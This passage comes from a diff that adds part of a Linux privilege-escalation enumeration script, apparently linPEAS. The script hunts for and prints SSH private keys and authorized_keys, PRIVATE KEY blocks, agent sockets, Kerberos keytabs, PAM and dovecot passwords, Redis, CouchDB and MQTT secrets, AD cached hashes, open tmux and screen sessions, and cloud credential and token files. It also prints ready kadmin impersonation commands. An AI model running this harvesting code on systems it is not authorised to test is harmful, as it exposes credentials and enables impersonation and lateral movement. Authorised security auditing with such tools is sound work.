+ echo "$f" | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])" | sed -${E} "s,log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6]),${SED_RED},";
+ done
+ echo ""
+fi
+
+#-- SI) ssh files
+print_2title "Searching ssl/ssh files"
+if [ "$PSTORAGE_CERTSB4" ]; then certsb4_grep=$(grep -L "\"\|'\|(" $PSTORAGE_CERTSB4 2>/dev/null); fi
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ sshconfig="$(ls /etc/ssh/ssh_config 2>/dev/null)"
+ hostsdenied="$(ls /etc/hosts.denied 2>/dev/null)"
+ hostsallow="$(ls /etc/hosts.allow 2>/dev/null)"
+ writable_agents=$(find /tmp /etc /home -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
+else
+ sshconfig="$(ls ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null)"
+ hostsdenied="$(ls ${ROOT_FOLDER}etc/hosts.denied 2>/dev/null)"
+ hostsallow="$(ls ${ROOT_FOLDER}etc/hosts.allow 2>/dev/null)"
+ writable_agents=$(find ${ROOT_FOLDER} -type s -name "agent.*" -or -name "*gpg-agent*" '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)
+fi
+
+if [ "$PSTORAGE_SSH" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing SSH Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"id_dsa.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "id_dsa*"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "id_dsa.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,id_dsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"id_rsa.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "id_rsa*"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "id_rsa.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,id_rsa.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"known_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "known_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "known_hosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,known_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_hosts$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_hosts"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_hosts$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,authorized_hosts$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"authorized_keys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "authorized_keys"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "authorized_keys$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,authorized_keys$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,command=.*,${SED_RED},g" | sed -${E} "s,from=[\w\._\-]+,${SED_GOOD},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_SSH\" | grep -E \"\.pub$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.pub"; fi; fi; printf "%s" "$PSTORAGE_SSH" | grep -E "\.pub$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.pub$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "command=.*" | sed -${E} "s,command=.*,${SED_RED},g"; done; echo "";
+fi
+
+
+grep "PermitRootLogin \|ChallengeResponseAuthentication \|PasswordAuthentication \|UsePAM \|Port\|PermitEmptyPasswords\|PubkeyAuthentication\|ListenAddress\|ForwardAgent\|AllowAgentForwarding\|AuthorizedKeysFiles" /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | sed -${E} "s,PermitRootLogin.*es|PermitEmptyPasswords.*es|ChallengeResponseAuthentication.*es|FordwardAgent.*es,${SED_RED},"
+
+if ! [ "$SEARCH_IN_FOLDER" ]; then
+ if [ "$TIMEOUT" ]; then
+ privatekeyfilesetc=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null)
+ privatekeyfileshome=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOMESEARCH 2>/dev/null)
+ privatekeyfilesroot=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /root 2>/dev/null)
+ privatekeyfilesmnt=$(timeout 40 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /mnt 2>/dev/null)
+ else
+ privatekeyfilesetc=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' /etc 2>/dev/null) # If there is tons of files linpeas gets frozen here without a timeout
+ privatekeyfileshome=$(grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' $HOME/.ssh 2>/dev/null)
+ fi
+else
+ # If $SEARCH_IN_FOLDER lets just search for private keys in the whole firmware
+ privatekeyfilesetc=$(timeout 120 grep -rl '\-\-\-\-\-BEGIN .* PRIVATE KEY.*\-\-\-\-\-' "$ROOT_FOLDER" 2>/dev/null)
+fi
+
+if [ "$privatekeyfilesetc" ] || [ "$privatekeyfileshome" ] || [ "$privatekeyfilesroot" ] || [ "$privatekeyfilesmnt" ] ; then
+ echo ""
+ print_3title "Possible private SSH keys were found!" | sed -${E} "s,private SSH keys,${SED_RED},"
+ if [ "$privatekeyfilesetc" ]; then printf "$privatekeyfilesetc\n" | sed -${E} "s,.*,${SED_RED},"; fi
+ if [ "$privatekeyfileshome" ]; then printf "$privatekeyfileshome\n" | sed -${E} "s,.*,${SED_RED},"; fi
+ if [ "$privatekeyfilesroot" ]; then printf "$privatekeyfilesroot\n" | sed -${E} "s,.*,${SED_RED},"; fi
+ if [ "$privatekeyfilesmnt" ]; then printf "$privatekeyfilesmnt\n" | sed -${E} "s,.*,${SED_RED},"; fi
+ echo ""
+fi
+if [ "$certsb4_grep" ] || [ "$PSTORAGE_CERTSBIN" ]; then
+ print_3title "Some certificates were found (out limited):"
+ printf "$certsb4_grep\n" | head -n 20
+ printf "$$PSTORAGE_CERTSBIN\n" | head -n 20
+ echo ""
+fi
+if [ "$PSTORAGE_CERTSCLIENT" ]; then
+ print_3title "Some client certificates were found:"
+ printf "$PSTORAGE_CERTSCLIENT\n"
+ echo ""
+fi
+if [ "$PSTORAGE_SSH_AGENTS" ]; then
+ print_3title "Some SSH Agent files were found:"
+ printf "$PSTORAGE_SSH_AGENTS\n"
+ echo ""
+fi
+if ssh-add -l 2>/dev/null | grep -qv 'no identities'; then
+ print_3title "Listing SSH Agents"
+ ssh-add -l
+ echo ""
+fi
+if gpg-connect-agent "keyinfo --list" /bye 2>/dev/null | grep "D - - 1"; then
+ print_3title "Listing gpg keys cached in gpg-agent"
+ gpg-connect-agent "keyinfo --list" /bye
+ echo ""
+fi
+if [ "$writable_agents" ]; then
+ print_3title "Writable ssh and gpg agents"
+ printf "%s\n" "$writable_agents"
+fi
+if [ "$PSTORAGE_SSH_CONFIG" ]; then
+ print_3title "Some home ssh config file was found"
+ printf "%s\n" "$PSTORAGE_SSH_CONFIG" | while read f; do ls "$f" | sed -${E} "s,$f,${SED_RED},"; cat "$f" 2>/dev/null | grep -Iv "^$" | grep -v "^#" | sed -${E} "s,User|ProxyCommand,${SED_RED},"; done
+ echo ""
+fi
+if [ "$hostsdenied" ]; then
+ print_3title "/etc/hosts.denied file found, read the rules:"
+ printf "$hostsdenied\n"
+ cat " ${ROOT_FOLDER}etc/hosts.denied" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_GREEN},"
+ echo ""
+fi
+if [ "$hostsallow" ]; then
+ print_3title "/etc/hosts.allow file found, trying to read the rules:"
+ printf "$hostsallow\n"
+ cat " ${ROOT_FOLDER}etc/hosts.allow" 2>/dev/null | grep -v "#" | grep -Iv "^$" | sed -${E} "s,.*,${SED_RED},"
+ echo ""
+fi
+if [ "$sshconfig" ]; then
+ echo ""
+ echo "Searching inside /etc/ssh/ssh_config for interesting info"
+ grep -v "^#" ${ROOT_FOLDER}etc/ssh/ssh_config 2>/dev/null | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed -${E} "s,Host|ForwardAgent|User|ProxyCommand,${SED_RED},"
+fi
+echo ""
+
+if [ "$PSTORAGE_PAM_AUTH" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing PAM Auth Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_PAM_AUTH\" | grep -E \"pam\.d$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pam.d"; fi; fi; printf "%s" "$PSTORAGE_PAM_AUTH" | grep -E "pam\.d$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pam\.d$,${SED_RED},"; find "$f" -name "sshd" | while read ff; do ls -ld "$ff" | sed -${E} "s,sshd,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#|^@" | sed -${E} "s,auth|accessfile=|secret=|user,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+#-- SI) Passwords inside pam.d
+pamdpass=$(grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#")
+if [ "$pamdpass" ] || [ "$DEBUG" ]; then
+ print_2title "Passwords inside pam.d"
+ grep -Ri "passwd" ${ROOT_FOLDER}etc/pam.d/ 2>/dev/null | grep -v ":#" | sed "s,passwd,${SED_RED},"
+ echo ""
+fi
+
+if [ "$PSTORAGE_NFS_EXPORTS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing NFS Exports Files (limit 70)"
+ nfsmounts=`cat /proc/mounts 2>/dev/null | grep nfs`; if [ "$nfsmounts" ]; then echo -e "Connected NFS Mounts: \n$nfsmounts"; fi
+ if ! [ "`echo \"$PSTORAGE_NFS_EXPORTS\" | grep -E \"exports$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "exports"; fi; fi; printf "%s" "$PSTORAGE_NFS_EXPORTS" | grep -E "exports$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,exports$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,insecure|rw|nohide,${SED_RED},g" | sed -${E} "s,no_root_squash|no_all_squash,${SED_RED_YELLOW},g"; done; echo "";
+fi
+
+
+#-- SI) Kerberos
+kadmin_exists="$(command -v kadmin)"
+klist_exists="$(command -v klist)"
+kinit_exists="$(command -v kinit)"
+if [ "$kadmin_exists" ] || [ "$klist_exists" ] || [ "$kinit_exists" ] || [ "$PSTORAGE_KERBEROS" ] || [ "$DEBUG" ]; then
+ print_2title "Searching kerberos conf files and tickets"
+ print_info "http://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-active-directory"
+
+ if [ "$kadmin_exists" ]; then echo "kadmin was found on $kadmin_exists" | sed "s,$kadmin_exists,${SED_RED},"; fi
+ if [ "$kinit_exists" ]; then echo "kadmin was found on $kinit_exists" | sed "s,$kinit_exists,${SED_RED},"; fi
+ if [ "$klist_exists" ] && [ -x "$klist_exists" ]; then echo "klist execution"; klist; fi
+ ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)"
+ if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0), you might find tickets inside processes memory" | sed "s,is disabled,${SED_RED},g";
+ else echo "ptrace protection is enabled ($ptrace_scope), you need to disable it to search for tickets inside processes memory" | sed "s,is enabled,${SED_GREEN},g";
+ fi
+
+ (env || printenv) 2>/dev/null | grep -E "^KRB5" | sed -${E} "s,KRB5,${SED_RED},g"
+
+ printf "%s\n" "$PSTORAGE_KERBEROS" | while read f; do
+ if [ -r "$f" ]; then
+ if echo "$f" | grep -q .k5login; then
+ echo ".k5login file (users with access to the user who has this file in his home)"
+ cat "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g"
+ elif echo "$f" | grep -q keytab; then
+ echo ""
+ echo "keytab file found, you may be able to impersonate some kerberos principals and add users or modify passwords"
+ klist -k "$f" 2>/dev/null | sed -${E} "s,.*,${SED_RED},g"
+ printf "$(klist -k $f 2>/dev/null)\n" | awk '{print $2}' | while read l; do
+ if [ "$l" ] && echo "$l" | grep -q "@"; then
+ printf "$ITALIC --- Impersonation command: ${NC}kadmin -k -t /etc/krb5.keytab -p \"$l\"\n" | sed -${E} "s,$l,${SED_RED},g"
+ # kadmin -k -t /etc/krb5.keytab -p "$l" -q getprivs 2>/dev/null #This should show the permissions of each impersoanted user, the thing is that in a test it showed that every user had the same permissions (even if they didn't). So this test isn't valid
+ # We could also try to create a new user or modify a password, but I'm not user if linpeas should do that
+ fi
+ done
+ elif echo "$f" | grep -q krb5.conf; then
+ ls -l "$f"
+ cat "$f" 2>/dev/null | sed -${E} "s,default_ccache_name,${SED_RED},";
+ elif echo "$f" | grep -q kadm5.acl; then
+ ls -l "$f"
+ cat "$f" 2>/dev/null
+ elif echo "$f" | grep -q sssd.conf; then
+ ls -l "$f"
+ cat "$f" 2>/dev/null | sed -${E} "s,cache_credentials ?= ?[tT][rR][uU][eE],${SED_RED},";
+ elif echo "$f" | grep -q secrets.ldb; then
+ echo "You could use SSSDKCMExtractor to extract the tickets stored here" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},";
+ ls -l "$f"
+ elif echo "$f" | grep -q .secrets.mkey; then
+ echo "This is the secrets file to use with SSSDKCMExtractor" | sed -${E} "s,SSSDKCMExtractor,${SED_RED},";
+ ls -l "$f"
+ fi
+ fi
+ done
+ ls -l "/tmp/krb5cc*" "/var/lib/sss/db/ccache_*" "/etc/opt/quest/vas/host.keytab" 2>/dev/null || echo_not_found "tickets kerberos"
+ klist 2>/dev/null || echo_not_found "klist"
+ echo ""
+
+fi
+
+if [ "$PSTORAGE_FREEIPA" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing FreeIPA Files (limit 70)"
+ ipa_exists="$(command -v ipa)"; if [ "$ipa_exists" ]; then print_info "https://book.hacktricks.xyz/linux-hardening/freeipa-pentesting"; fi
+ if ! [ "`echo \"$PSTORAGE_FREEIPA\" | grep -E \"ipa$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ipa"; fi; fi; printf "%s" "$PSTORAGE_FREEIPA" | grep -E "ipa$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ipa$,${SED_RED},"; find "$f" -name "default.conf" | while read ff; do ls -ld "$ff" | sed -${E} "s,default.conf,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$"; done; echo "";done; echo "";
+ if ! [ "`echo \"$PSTORAGE_FREEIPA\" | grep -E \"dirsrv$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "dirsrv"; fi; fi; printf "%s" "$PSTORAGE_FREEIPA" | grep -E "dirsrv$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,dirsrv$,${SED_RED},"; find "$f" -name "id2rntry.db" | while read ff; do ls -ld "$ff" | sed -${E} "s,id2rntry.db,${SED_RED},"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_KNOCKD" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Knockd Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_KNOCKD\" | grep -E \"knockd.*$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*knockd*"; fi; fi; printf "%s" "$PSTORAGE_KNOCKD" | grep -E "knockd.*$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,knockd.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_KIBANA" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Kibana Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_KIBANA\" | grep -E \"kibana\.y.*ml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "kibana.y*ml"; fi; fi; printf "%s" "$PSTORAGE_KIBANA" | grep -E "kibana\.y.*ml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,kibana\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#|^[[:space:]]*$" | sed -${E} "s,username|password|host|port|elasticsearch|ssl,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_ELASTICSEARCH" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Elasticsearch Files (limit 70)"
+ echo "The version is $(curl -X GET '127.0.0.1:9200' 2>/dev/null | grep number | cut -d ':' -f 2)"
+ if ! [ "`echo \"$PSTORAGE_ELASTICSEARCH\" | grep -E \"elasticsearch\.y.*ml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "elasticsearch.y*ml"; fi; fi; printf "%s" "$PSTORAGE_ELASTICSEARCH" | grep -E "elasticsearch\.y.*ml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,elasticsearch\.y.*ml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "path.data|path.logs|cluster.name|node.name|network.host|discovery.zen.ping.unicast.hosts" | grep -Ev "\W+\#|^#"; done; echo "";
+fi
+
+
+##-- SI) Logstash
+if [ "$PSTORAGE_LOGSTASH" ] || [ "$DEBUG" ]; then
+ print_2title "Searching logstash files"
+ printf "$PSTORAGE_LOGSTASH"
+ printf "%s\n" "$PSTORAGE_LOGSTASH" | while read d; do
+ if [ -r "$d/startup.options" ]; then
+ echo "Logstash is running as user:"
+ cat "$d/startup.options" 2>/dev/null | grep "LS_USER\|LS_GROUP" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed -${E} "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,root,${SED_RED},"
+ fi
+ cat "$d/conf.d/out*" | grep "exec\s*{\|command\s*=>" | sed -${E} "s,exec\W*\{|command\W*=>,${SED_RED},"
+ cat "$d/conf.d/filt*" | grep "path\s*=>\|code\s*=>\|ruby\s*{" | sed -${E} "s,path\W*=>|code\W*=>|ruby\W*\{,${SED_RED},"
+ done
+fi
+echo ""
+
+#-- SI) Vault-ssh
+if [ "$PSTORAGE_VAULT_SSH_HELPER" ] || [ "$DEBUG" ]; then
+ print_2title "Searching Vault-ssh files"
+ printf "$PSTORAGE_VAULT_SSH_HELPER\n"
+ printf "%s\n" "$PSTORAGE_VAULT_SSH_HELPER" | while read f; do cat "$f" 2>/dev/null; vault-ssh-helper -verify-only -config "$f" 2>/dev/null; done
+ echo ""
+ vault secrets list 2>/dev/null
+ printf "%s\n" "$PSTORAGE_VAULT_SSH_TOKEN" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null
+fi
+echo ""
+
+#-- SI) Cached AD Hashes
+adhashes=$(ls "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null)
+if [ "$adhashes" ] || [ "$DEBUG" ]; then
+ print_2title "Searching AD cached hashes"
+ ls -l "/var/lib/samba/private/secrets.tdb" "/var/lib/samba/passdb.tdb" "/var/opt/quest/vas/authcache/vas_auth.vdb" "/var/lib/sss/db/cache_*" 2>/dev/null
+ echo ""
+fi
+
+#-- SI) Screen sessions
+if ([ "$screensess" ] || [ "$screensess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Searching screen sessions"
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
+ screensess=$(screen -ls 2>/dev/null)
+ screensess2=$(find /run/screen -type d -path "/run/screen/S-*" 2>/dev/null)
+
+ screen -v
+ printf "$screensess\n$screensess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,No Sockets found.*,${C}[32m&${C}[0m,"
+
+ find /run/screen -type s -path "/run/screen/S-*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do
+ echo "Other user screen socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW},"
+ done
+ echo ""
+fi
+
+#-- SI) Tmux sessions
+tmuxdefsess=$(tmux ls 2>/dev/null)
+tmuxnondefsess=$(ps auxwww | grep "tmux " | grep -v grep)
+tmuxsess2=$(find /tmp -type d -path "/tmp/tmux-*" 2>/dev/null)
+if ([ "$tmuxdefsess" ] || [ "$tmuxnondefsess" ] || [ "$tmuxsess2" ] || [ "$DEBUG" ]) && ! [ "$SEARCH_IN_FOLDER" ]; then
+ print_2title "Searching tmux sessions"$N
+ print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-shell-sessions"
+ tmux -V
+ printf "$tmuxdefsess\n$tmuxnondefsess\n$tmuxsess2" | sed -${E} "s,.*,${SED_RED}," | sed -${E} "s,no server running on.*,${C}[32m&${C}[0m,"
+
+ find /tmp -type s -path "/tmp/tmux*" -not -user $USER '(' '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null | while read f; do
+ echo "Other user tmux socket is writable: $f" | sed "s,$f,${SED_RED_YELLOW},"
+ done
+ echo ""
+fi
+
+if [ "$PSTORAGE_COUCHDB" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing CouchDB Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_COUCHDB\" | grep -E \"couchdb$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "couchdb"; fi; fi; printf "%s" "$PSTORAGE_COUCHDB" | grep -E "couchdb$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,couchdb$,${SED_RED},"; find "$f" -name "local.ini" | while read ff; do ls -ld "$ff" | sed -${E} "s,local.ini,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -Ev "^;" | sed -${E} "s,admin.*|password.*|cert_file.*|key_file.*|hashed.*|pbkdf2.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+if [ "$PSTORAGE_REDIS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Redis Files (limit 70)"
+ ( redis-server --version || echo_not_found "redis-server") 2>/dev/null
+ if [ "`redis-cli INFO 2>/dev/null`" ] && ! [ "`redis-cli INFO 2>/dev/null | grep -i NOAUTH`" ]; then echo "Redis isn't password protected" | sed -${E} "s,.*,${SED_RED},"; fi
+ if ! [ "`echo \"$PSTORAGE_REDIS\" | grep -E \"redis\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "redis.conf"; fi; fi; printf "%s" "$PSTORAGE_REDIS" | grep -E "redis\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,redis\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,masterauth.*|requirepass.*,${SED_RED},g"; done; echo "";
+fi
+
+
+#-- SI) Dovecot
+# Needs testing
+dovecotpass=$(grep -r "PLAIN" /etc/dovecot 2>/dev/null)
+if [ "$dovecotpass" ] || [ "$DEBUG" ]; then
+ print_2title "Searching dovecot files"
+ if [ -z "$dovecotpass" ]; then
+ echo_not_found "dovecot credentials"
+ else
+ printf "%s\n" "$dovecotpass" | while read d; do
+ df=$(echo $d |cut -d ':' -f1)
+ dp=$(echo $d |cut -d ':' -f2-)
+ echo "Found possible PLAIN text creds in $df"
+ echo "$dp" | sed -${E} "s,.*,${SED_RED}," 2>/dev/null
+ done
+ fi
+ echo ""
+fi
+
+if [ "$PSTORAGE_MOSQUITTO" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Mosquitto Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_MOSQUITTO\" | grep -E \"mosquitto\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mosquitto.conf"; fi; fi; printf "%s" "$PSTORAGE_MOSQUITTO" | grep -E "mosquitto\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mosquitto\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,password_file.*|psk_file.*|allow_anonymous.*true|auth,${SED_RED},g"; done; echo "";
+fi
+
+
+if [ "$PSTORAGE_NEO4J" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Neo4j Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_NEO4J\" | grep -E \"neo4j$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "neo4j"; fi; fi; printf "%s" "$PSTORAGE_NEO4J" | grep -E "neo4j$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,neo4j$,${SED_RED},"; find "$f" -name "auth" | while read ff; do ls -ld "$ff" | sed -${E} "s,auth,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";done; echo "";
+fi
+
+
+AWSVAULT="$(command -v aws-vault 2>/dev/null)"
+if [ "$AWSVAULT" ] || [ "$DEBUG" ]; then
+ print_2title "Check aws-vault"
+ aws-vault list
+fi
+
+if [ "$PSTORAGE_CLOUD_CREDENTIALS" ] || [ "$DEBUG" ]; then
+ print_2title "Analyzing Cloud Credentials Files (limit 70)"
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"credentials\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "credentials\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"legacy_credentials\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "legacy_credentials.db"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "legacy_credentials\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,legacy_credentials\.db$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"adc\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "adc.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "adc\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,adc\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.boto$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".boto"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.boto$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.boto$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"\.credentials\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found ".credentials.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "\.credentials\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.credentials\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo "";
+ if ! [ "`echo \"$PSTORAGE_CLOUD_CREDENTIALS\" | grep -E \"firebase-tools\.json$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "firebase-tools.json"; fi; fi; printf "%s" "$PSTORAGE_CLOUD_CREDENTIALS" | grep -E "firebase-tools\.json$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,firebase-tools\.json$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,id_token.*|access_token.*|refresh_token.*,${SED_RED},g"; done; echo "";
